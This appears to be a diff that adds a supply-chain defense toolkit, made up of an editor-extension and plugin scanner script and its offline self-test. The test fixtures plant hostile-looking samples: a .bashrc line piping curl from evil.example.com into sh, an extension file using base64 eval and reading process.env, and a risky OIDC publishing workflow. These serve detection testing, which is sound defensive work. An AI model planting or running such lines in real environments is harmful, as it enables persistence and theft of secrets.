+#   Note: extension bundles are minified, so even AST scanning is best-effort here;
+#   inventory + recency + IOC (exposure-check.py) remain the backbone for extensions.
+#
+# Usage:   scan-extensions.sh [--json] [--days N]              # inventory + recency
+#          scan-extensions.sh --deep [--all] [--days N]        # behavioural (needs guarddog+semgrep)
+# Input:   editor-extension dirs (SC_EXT_DIRS overrides), ~/.claude/plugins, ~/.claude/skills
+# Output:  stdout = inventory / findings (tab-separated, or JSON with --json)
+# Stderr:  framing, plugin SHA inventory, verdict
+# Exit:    0 ok (incl. --deep with engine absent — behavioural skipped, not failed),
+#          2 usage, 10 behavioural finding(s)
+#
+# Examples:
+#   scan-extensions.sh                       # full inventory + recency
+#   scan-extensions.sh --days 7 --json       # JSON, 7-day recency window
+#   scan-extensions.sh --deep --days 7       # behavioural-scan extensions changed in 7d
+
+set -uo pipefail
+EXIT_OK=0; EXIT_USAGE=2; EXIT_MISSING_DEP=5; EXIT_FINDING=10
+
+JSON=0; QUIET=0; DEEP=0; ALL=0; DAYS=14
+while [[ $# -gt 0 ]]; do
+  case "$1" in
+    --json) JSON=1 ;;
+    -q|--quiet) QUIET=1 ;;
+    --deep) DEEP=1 ;;
+    --all) ALL=1 ;;
+    --days) DAYS="${2:?--days needs a value}"; shift ;;
+    -h|--help) sed -n '2,33p' "$0" | sed 's/^# \{0,1\}//'; exit "$EXIT_OK" ;;
+    -*) echo "ERROR: unknown flag: $1 (try --help)" >&2; exit "$EXIT_USAGE" ;;
+    *) echo "ERROR: unexpected argument: $1" >&2; exit "$EXIT_USAGE" ;;
+  esac
+  shift
+done
+
+HAS_JQ=0; command -v jq >/dev/null 2>&1 && HAS_JQ=1
+if [[ -t 2 && -z "${NO_COLOR:-}" ]]; then C_Y=$'\033[33m'; C_G=$'\033[32m'; C_D=$'\033[2m'; C_R=$'\033[31m'; C_O=$'\033[0m'
+else C_Y=""; C_G=""; C_D=""; C_R=""; C_O=""; fi
+section(){ [[ "$QUIET" -eq 1 ]] || printf '%s== %s ==%s %s\n' "$C_D" "$1" "$C_O" "${2:-}" >&2; }
+info(){ [[ "$QUIET" -eq 1 ]] || printf '   %s\n' "$1" >&2; }
+
+# ── --deep: auto-detect the engine; recommend (don't require) if absent ────
+# Lean by default — guarddog+semgrep are NOT kept on the machine. If --deep is asked
+# for and they're present, use them; if absent, run inventory+recency and LOUDLY skip
+# the behavioural pass (never report a scan we didn't run as clean).
+DEEP_OK=0; DEEP_SKIPPED=0
+if [[ "$DEEP" -eq 1 ]]; then
+  if command -v guarddog >/dev/null 2>&1 && command -v semgrep >/dev/null 2>&1 && semgrep --version >/dev/null 2>&1; then
+    DEEP_OK=1
+  else
+    DEEP_SKIPPED=1
+  fi
+fi
+
+now_epoch=$(date +%s); window=$(( DAYS * 86400 ))
+EXT_DIRS=("$HOME/.vscode/extensions" "$HOME/.vscode-server/extensions" "$HOME/.vscode-oss/extensions" "$HOME/.cursor/extensions" "$HOME/.windsurf/extensions")
+[[ -n "${SC_EXT_DIRS:-}" ]] && IFS="$(printf ':')" read -ra EXT_DIRS <<< "$SC_EXT_DIRS"
+
+INV_JSON=(); FIND_JSON=(); FINDINGS=0; RECENT=0
+
+dir_recent() {  # echoes yes/no — any code file in $1 modified within window
+  local newest
+  newest=$(find "$1" -type f \( -name '*.js' -o -name '*.ts' -o -name '*.cjs' -o -name '*.mjs' -o -name '*.py' -o -name '*.sh' -o -name 'package.json' \) -printf '%T@\n' 2>/dev/null | sort -rn | head -1)
+  [[ -n "$newest" && $(( now_epoch - ${newest%.*} )) -lt $window ]] && echo yes || echo no
+}
+
+# ── 1. Editor extensions: inventory (+ behavioural if --deep) ──────────────
+section "Editor extensions" "inventory + recency <${DAYS}d$( [[ $DEEP_OK -eq 1 ]] && echo ' + GuardDog behavioural' )"
+for base in "${EXT_DIRS[@]}"; do
+  [[ -d "$base" ]] || continue
+  for ext in "$base"/*/; do
+    [[ -f "$ext/package.json" ]] || continue
+    pub=$(jq -r '.publisher // empty' "$ext/package.json" 2>/dev/null)
+    name=$(jq -r '.name // empty' "$ext/package.json" 2>/dev/null)
+    ver=$(jq -r '.version // empty' "$ext/package.json" 2>/dev/null)
+    [[ -z "$pub" || -z "$name" ]] && continue
+    id="$pub.$name"; recent=$(dir_recent "$ext")
+    [[ "$recent" == yes ]] && RECENT=$((RECENT+1))
+    [[ "$JSON" -eq 0 && "$QUIET" -eq 0 ]] && printf '%s\t%s\trecent=%s\n' "$id" "${ver:-?}" "$recent"
+    [[ "$HAS_JQ" -eq 1 ]] && INV_JSON+=("$(jq -cn --arg i "$id" --arg v "$ver" --argjson r "$([[ $recent == yes ]] && echo true || echo false)" '{kind:"editor-extension",id:$i,version:$v,recent:$r}')")
+    # behavioural scan: --deep, gated to recent unless --all
+    if [[ "$DEEP_OK" -eq 1 && ( "$ALL" -eq 1 || "$recent" == yes ) ]]; then
+      gout=$(PYTHONUTF8=1 guarddog npm scan "$ext" --exit-non-zero-on-finding 2>/dev/null); grc=$?
+      if [[ $grc -ne 0 ]] && echo "$gout" | grep -qiE 'potentially malicious|source code matches'; then
+        FINDINGS=$((FINDINGS+1))
+        printf '   %s[FINDING]%s %s\n' "$C_R" "$C_O" "$id" >&2
+        echo "$gout" | grep -iE 'found|matches|: This' | head -5 | sed 's/^/        /' >&2
+        [[ "$HAS_JQ" -eq 1 ]] && FIND_JSON+=("$(jq -cn --arg i "$id" --arg d "$(echo "$gout" | tr '\n' ' ' | head -c 400)" '{id:$i,engine:"guarddog",detail:$d}')")
+      fi
+    fi
+  done
+done
+
+# ── 2. Claude Code plugins: inventory + pinned-commit ──────────────────────
+section "Claude Code plugins" "pinned-commit inventory — verify each against its marketplace"
+PMETA="$HOME/.claude/plugins/installed_plugins.json"
+if [[ -f "$PMETA" && "$HAS_JQ" -eq 1 ]]; then
+  while IFS= read -r line; do info "$line"; done < <(jq -r '.plugins | to_entries[] | .key as $n | .value[] | "\($n)  sha=\(.gitCommitSha[0:12])  scope=\(.scope)  updated=\(.lastUpdated)"' "$PMETA" 2>/dev/null)
+else
+  info "no installed_plugins.json (no marketplace plugins) or jq missing"
+fi
+
+# ── 3. Installed skills: inventory + recency ───────────────────────────────
+section "Installed skills" "recency <${DAYS}d (review recently-changed you didn't edit)"
+for sk in "$HOME/.claude/skills"/*/; do
+  [[ -d "$sk" ]] || continue
+  recent=$(dir_recent "$sk")
+  if [[ "$recent" == yes ]]; then
+    RECENT=$((RECENT+1))
+    [[ "$QUIET" -eq 0 ]] && printf '%s\t(recently changed)\n' "$(basename "$sk")"
+  fi
+done
+
+# ── Output + verdict ───────────────────────────────────────────────────────
+if [[ "$JSON" -eq 1 ]]; then
+  printf '%s\n' "${INV_JSON[@]:-}" | jq -s \
+    --argjson f "$(printf '%s\n' "${FIND_JSON[@]:-}" | jq -s 'map(select(length>0))' 2>/dev/null || echo '[]')" \
+    --argjson deep "$DEEP" --argjson days "$DAYS" \
+    '{data:{inventory: map(select(length>0)), findings:$f}, meta:{deep:($deep==1), recency_days:$days, finding_count:($f|length), schema:"axiom.tool.scan-extensions.report/v1"}}'
+fi
+
+if [[ "$DEEP_OK" -eq 1 ]]; then
+  if [[ "$FINDINGS" -eq 0 ]]; then
+    [[ "$QUIET" -eq 1 ]] || printf '%sBehavioural: GuardDog found no indicators in scanned extensions.%s\n' "$C_G" "$C_O" >&2
+    exit "$EXIT_OK"
+  fi
+  [[ "$QUIET" -eq 1 ]] || printf '%s%d extension(s) with behavioural findings — inspect + treat as incident.%s\n' "$C_R" "$FINDINGS" "$C_O" >&2
+  exit "$EXIT_FINDING"
+fi
+if [[ "$DEEP_SKIPPED" -eq 1 ]]; then
+  [[ "$QUIET" -eq 1 ]] || {
+    printf '%sBEHAVIOURAL SCAN SKIPPED%s — guarddog/semgrep not installed (kept off by default).\n' "$C_Y" "$C_O" >&2
+    printf '   Ran inventory + recency only — this is NOT a clean behavioural verdict.\n' >&2
+    printf '   Enable on-demand:  uv tool install guarddog semgrep   (then re-run --deep)\n' >&2
+  }
+fi
+[[ "$QUIET" -eq 1 ]] || printf '%sInventory done. %d item(s) changed within %dd — review those; run exposure-check.py for known-IOC matching.%s\n' "$C_D" "$RECENT" "$DAYS" "$C_O" >&2
+exit "$EXIT_OK"

+ 193 - 0
skills/supply-chain-defense/tests/run.sh

@@ -0,0 +1,193 @@
+#!/usr/bin/env bash
+# Self-test for supply-chain-defense scripts + hook.
+#
+# Offline-deterministic (no network). Builds throwaway fixtures, asserts the
+# documented exit codes and key output of each script and the pre-install-scan
+# hook, then cleans up. Resolves paths relative to itself so it works both in the
+# repo and once installed to ~/.claude/skills/supply-chain-defense/.
+#
+# Usage:   bash tests/run.sh
+# Exit:    0 all pass, 1 one or more failures
+#
+# Network-dependent checks (preinstall-check registry lookups) are intentionally
+# omitted here — run that script manually against live registries.
+
+set -uo pipefail
+
+HERE="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
+SKILL="$(dirname "$HERE")"
+SCRIPTS="$SKILL/scripts"
+HOOK="$SKILL/../../hooks/pre-install-scan.sh"   # repo root/hooks or ~/.claude/hooks
+MHOOK="$SKILL/../../hooks/manifest-dep-scan.sh"
+SCAN="$SKILL/scripts/scan-extensions.sh"
+# Pick a python that actually executes — skips the Windows Store `python3` stub
+# (an app-execution alias that exits non-zero non-interactively).
+PYTHON=""
+for c in python python3 py; do
+  if command -v "$c" >/dev/null 2>&1 && "$c" -c "" >/dev/null 2>&1; then PYTHON="$c"; break; fi
+done
+[[ -z "$PYTHON" ]] && { echo "no working python found" >&2; exit 1; }
+SB="$(mktemp -d)"; trap 'rm -rf "$SB"' EXIT
+
+PASS=0; FAIL=0
+ok() { PASS=$((PASS+1)); printf '  PASS  %s\n' "$1"; }
+no() { FAIL=$((FAIL+1)); printf '  FAIL  %s\n' "$1"; }
+expect_exit() { [[ "$2" == "$3" ]] && ok "$1 (exit $3)" || no "$1 (want $2 got $3)"; }
+expect_has()  { case "$3" in *"$2"*) ok "$1";; *) no "$1 (missing '$2')";; esac; }
+
+echo "=== supply-chain-defense self-test ==="
+
+# ── exposure-check.py ──────────────────────────────────────────────────────
+echo "-- exposure-check.py --"
+"$PYTHON" "$SCRIPTS/exposure-check.py" --help >/dev/null 2>&1; expect_exit "--help" 0 $?
+
+mkdir -p "$SB/exposed" "$SB/clean"
+printf '{"name":"a","lockfileVersion":3,"packages":{"node_modules/axios":{"version":"1.14.1"}}}' > "$SB/exposed/package-lock.json"
+printf '{"name":"b","lockfileVersion":3,"packages":{"node_modules/axios":{"version":"1.7.9"}}}'  > "$SB/clean/package-lock.json"
+
+out="$("$PYTHON" "$SCRIPTS/exposure-check.py" --root "$SB/exposed" --no-extensions --findings-only 2>&1)"; rc=$?
+expect_exit "exposed tree -> 10" 10 "$rc"
+expect_has  "exposed tree names axios" "axios@1.14.1" "$out"
+
+"$PYTHON" "$SCRIPTS/exposure-check.py" --root "$SB/clean" --no-extensions --findings-only >/dev/null 2>&1
+expect_exit "clean tree -> 0" 0 $?
+
+"$PYTHON" "$SCRIPTS/exposure-check.py" --catalog "$SB/nope.json" --root "$SB/clean" >/dev/null 2>&1
+expect_exit "missing catalog -> 3" 3 $?
+
+# composer.lock + "*" wildcard IOC (Laravel-Lang tag-rewrite model: every version poisoned)
+mkdir -p "$SB/php"
+printf '{"packages":[{"name":"laravel-lang/lang","version":"15.30.0"},{"name":"monolog/monolog","version":"3.7.0"}]}' > "$SB/php/composer.lock"
+out="$("$PYTHON" "$SCRIPTS/exposure-check.py" --root "$SB/php" --no-extensions --findings-only 2>&1)"; rc=$?
+expect_exit "composer wildcard IOC -> 10" 10 "$rc"
+expect_has  "flags laravel-lang/lang (any version)" "laravel-lang/lang@15.30.0" "$out"
+
+# editor-extension inventory + IOC (Nx Console / GitHub-breach vector)
+mkdir -p "$SB/ext/nrwl.angular-console-18.95.0" "$SB/ext/ms-python.python-1.0.0"
+printf '{"publisher":"nrwl","name":"angular-console","version":"18.95.0"}' > "$SB/ext/nrwl.angular-console-18.95.0/package.json"
+printf '{"publisher":"ms-python","name":"python","version":"1.0.0"}' > "$SB/ext/ms-python.python-1.0.0/package.json"
+out="$(SC_EXT_DIRS="$SB/ext" "$PYTHON" "$SCRIPTS/exposure-check.py" --root "$SB/clean" --findings-only 2>&1)"; rc=$?
+expect_exit "editor-extension IOC -> 10" 10 "$rc"
+expect_has  "flags Nx Console 18.95.0" "nrwl.angular-console@18.95.0" "$out"
+
+# new ecosystem (Cargo) parsing + match via a custom catalog
+mkdir -p "$SB/rust"
+printf '[[package]]\nname = "evilcrate"\nversion = "6.6.6"\n' > "$SB/rust/Cargo.lock"
+printf '{"schema_version":"v0.1.0","entries":[{"id":"T","name":"t","ecosystem":"cargo","package":"evilcrate","versions":["6.6.6"],"severity":"critical"}]}' > "$SB/cat.json"
+out="$("$PYTHON" "$SCRIPTS/exposure-check.py" --catalog "$SB/cat.json" --root "$SB/rust" --no-extensions --findings-only 2>&1)"; rc=$?
+expect_exit "cargo lockfile IOC -> 10" 10 "$rc"
+expect_has  "flags cargo crate" "evilcrate@6.6.6" "$out"
+
+# frontend lockfiles — pnpm + yarn (FED teams); axios 1.14.1 is the seeded IOC
+mkdir -p "$SB/pnpm" "$SB/yarn"
+printf 'packages:\n  axios@1.14.1:\n    resolution: {integrity: x}\n  vite@5.4.0(@types/node@20.0.0):\n    resolution: {integrity: y}\n' > "$SB/pnpm/pnpm-lock.yaml"
+"$PYTHON" "$SCRIPTS/exposure-check.py" --root "$SB/pnpm" --no-extensions --findings-only >/dev/null 2>&1
+expect_exit "pnpm-lock.yaml IOC -> 10" 10 $?
+printf 'axios@^1.0.0, axios@^1.2.0:\n  version "1.14.1"\n' > "$SB/yarn/yarn.lock"
+"$PYTHON" "$SCRIPTS/exposure-check.py" --root "$SB/yarn" --no-extensions --findings-only >/dev/null 2>&1
+expect_exit "yarn.lock IOC -> 10" 10 $?
+mkdir -p "$SB/bun"
+printf '{"packages":{"axios":["axios@1.14.1","",{}],"vite":["vite@5.4.0","",{}]}}' > "$SB/bun/bun.lock"
+"$PYTHON" "$SCRIPTS/exposure-check.py" --root "$SB/bun" --no-extensions --findings-only >/dev/null 2>&1
+expect_exit "bun.lock IOC -> 10" 10 $?
+# durabletask PyPI IOC (added this pass) — *.dist-info/METADATA path
+mkdir -p "$SB/py/durabletask-1.4.2.dist-info"
+printf 'Name: durabletask\nVersion: 1.4.2\n' > "$SB/py/durabletask-1.4.2.dist-info/METADATA"
+out="$("$PYTHON" "$SCRIPTS/exposure-check.py" --root "$SB/py" --no-extensions --findings-only 2>&1)"; rc=$?
+expect_exit "durabletask IOC -> 10" 10 "$rc"
+expect_has  "flags durabletask 1.4.2" "durabletask@1.4.2" "$out"
+
+# ── integrity-audit.sh ─────────────────────────────────────────────────────
+echo "-- integrity-audit.sh --"
+bash "$SCRIPTS/integrity-audit.sh" --help >/dev/null 2>&1; expect_exit "--help" 0 $?
+
+mkdir -p "$SB/proj/.github/workflows"
+cat > "$SB/proj/.github/workflows/x.yml" <<'YML'
+on:
+  pull_request_target:
+permissions:
+  id-token: write
+jobs: { b: { runs-on: ubuntu-latest, steps: [ { run: "npm publish" } ] } }
+YML
+out="$(bash "$SCRIPTS/integrity-audit.sh" "$SB/proj" 2>&1)"; rc=$?
+expect_exit "planted OIDC workflow -> 10" 10 "$rc"
+expect_has  "flags id-token workflow" "id-token" "$out"
+# shell-rc persistence (HOME override → deterministic, isolated from real machine)
+mkdir -p "$SB/fakehome" "$SB/empty"
+printf 'export X=1\ncurl http://evil.example.com/p | sh\n' > "$SB/fakehome/.bashrc"
+out="$(HOME="$SB/fakehome" bash "$SCRIPTS/integrity-audit.sh" "$SB/empty" 2>&1)"; rc=$?
+expect_exit "shell-rc persistence -> 10" 10 "$rc"
+expect_has  "flags shell_rc" "shell_rc" "$out"
+
+# ── preinstall-check.sh (offline bits only) ────────────────────────────────
+echo "-- preinstall-check.sh --"
+bash "$SCRIPTS/preinstall-check.sh" --help >/dev/null 2>&1; expect_exit "--help" 0 $?
+bash "$SCRIPTS/preinstall-check.sh" --bogus >/dev/null 2>&1; expect_exit "bad flag -> 2" 2 $?
+bash "$SCRIPTS/preinstall-check.sh" >/dev/null 2>&1;        expect_exit "no args -> 2" 2 $?
+
+# ── pre-install-scan.sh hook (both input modes) ────────────────────────────
+echo "-- pre-install-scan.sh hook --"
+if [[ -f "$HOOK" ]]; then
+  # legacy $1 arg mode
+  out="$(bash "$HOOK" "npm install lodash" 2>&1)"; rc=$?
+  expect_exit "arg: npm install advisory -> 0" 0 "$rc"
+  expect_has  "arg: advisory text" "SUPPLY CHAIN" "$out"
+  # modern stdin-JSON mode
+  out="$(printf '{"tool_input":{"command":"pip install requests"}}' | bash "$HOOK" 2>&1)"; rc=$?
+  expect_exit "stdin: pip install advisory -> 0" 0 "$rc"
+  expect_has  "stdin: advisory text" "SUPPLY CHAIN" "$out"
+  # composer update — the PHP/Composer tag-rewrite vector (Laravel-Lang)
+  out="$(printf '{"tool_input":{"command":"composer update"}}' | bash "$HOOK" 2>&1)"; rc=$?
+  expect_exit "stdin: composer update advisory -> 0" 0 "$rc"
+  expect_has  "composer update flagged" "composer" "$out"
+  # already-wrapped is silent
+  out="$(printf '{"tool_input":{"command":"socket npm install x"}}' | bash "$HOOK" 2>&1)"; rc=$?
+  expect_exit "stdin: socket-wrapped silent -> 0" 0 "$rc"
+  [[ -z "$out" ]] && ok "stdin: socket-wrapped produces no output" || no "stdin: socket-wrapped should be silent"
+  # hard gate
+  printf '{"tool_input":{"command":"npm install evil"}}' | SUPPLY_CHAIN_BLOCK=1 bash "$HOOK" >/dev/null 2>&1
+  expect_exit "block mode -> 2" 2 $?
+else
+  echo "  SKIP  hook not found at $HOOK"
+fi
+
+# ── manifest-dep-scan.sh hook (the agent-edits-manifest path) ──────────────
+echo "-- manifest-dep-scan.sh hook --"
+if [[ -f "$MHOOK" ]]; then
+  out="$(printf '{"tool_input":{"file_path":"/p/package.json","new_string":"\\"axios\\": \\"^1.14.1\\""}}' | bash "$MHOOK")"; rc=$?
+  expect_exit "manifest dep-add advisory -> 0" 0 "$rc"
+  expect_has  "manifest advisory text" "SUPPLY CHAIN" "$out"
+  out="$(printf '{"tool_input":{"file_path":"/p/package.json","new_string":"\\"version\\": \\"2.0.0\\""}}' | bash "$MHOOK")"
+  [[ -z "$out" ]] && ok "version-bump is silent (no false fire)" || no "version bump should not fire"
+  out="$(printf '{"tool_input":{"file_path":"/p/src/index.js","new_string":"const x=1"}}' | bash "$MHOOK")"
+  [[ -z "$out" ]] && ok "non-manifest edit is silent" || no "non-manifest should not fire"
+else
+  echo "  SKIP  manifest-dep-scan hook not found at $MHOOK"
+fi
+
+# ── scan-extensions.sh (inventory + refuse-don't-degrade + behavioural) ────
+echo "-- scan-extensions.sh --"
+bash "$SCAN" --help >/dev/null 2>&1; expect_exit "scan --help" 0 $?
+mkdir -p "$SB/exts/pub.tool-1.0.0"
+printf '{"publisher":"pub","name":"tool","version":"1.0.0"}' > "$SB/exts/pub.tool-1.0.0/package.json"
+SC_EXT_DIRS="$SB/exts" bash "$SCAN" -q >/dev/null 2>&1; expect_exit "inventory (zero-dep) -> 0" 0 $?
+# --deep without engine: skips behavioural gracefully (exit 0) + LOUD recommendation,
+# never a false-clean. Lean default keeps guarddog/semgrep off the machine.
+out="$(PATH="/usr/bin:/bin" bash "$SCAN" --deep 2>&1)"; rc=$?
+expect_exit "--deep w/o engine skips (not fail) -> 0" 0 "$rc"
+expect_has  "skip notice recommends install" "uv tool install guarddog semgrep" "$out"
+expect_has  "skip notice is loud (not a clean verdict)" "SKIPPED" "$out"
+# --deep behavioural finding — only when the engine is actually present
+if command -v guarddog >/dev/null 2>&1 && semgrep --version >/dev/null 2>&1; then
+  mkdir -p "$SB/evil/bad.x-1.0.0"
+  printf 'eval(Buffer.from("Y29uc29sZS5sb2coMSk=","base64").toString());\nconst e=JSON.stringify(process.env);\n' > "$SB/evil/bad.x-1.0.0/extension.js"
+  printf '{"publisher":"bad","name":"x","version":"1.0.0"}' > "$SB/evil/bad.x-1.0.0/package.json"
+  SC_EXT_DIRS="$SB/evil" bash "$SCAN" --deep --all >/dev/null 2>&1
+  expect_exit "--deep behavioural finding -> 10" 10 $?
+else
+  echo "  SKIP  --deep behavioural (guarddog/semgrep not installed)"
+fi
+
+# ── summary ────────────────────────────────────────────────────────────────
+echo "=== $PASS passed, $FAIL failed ==="
+[[ "$FAIL" -eq 0 ]] || exit 1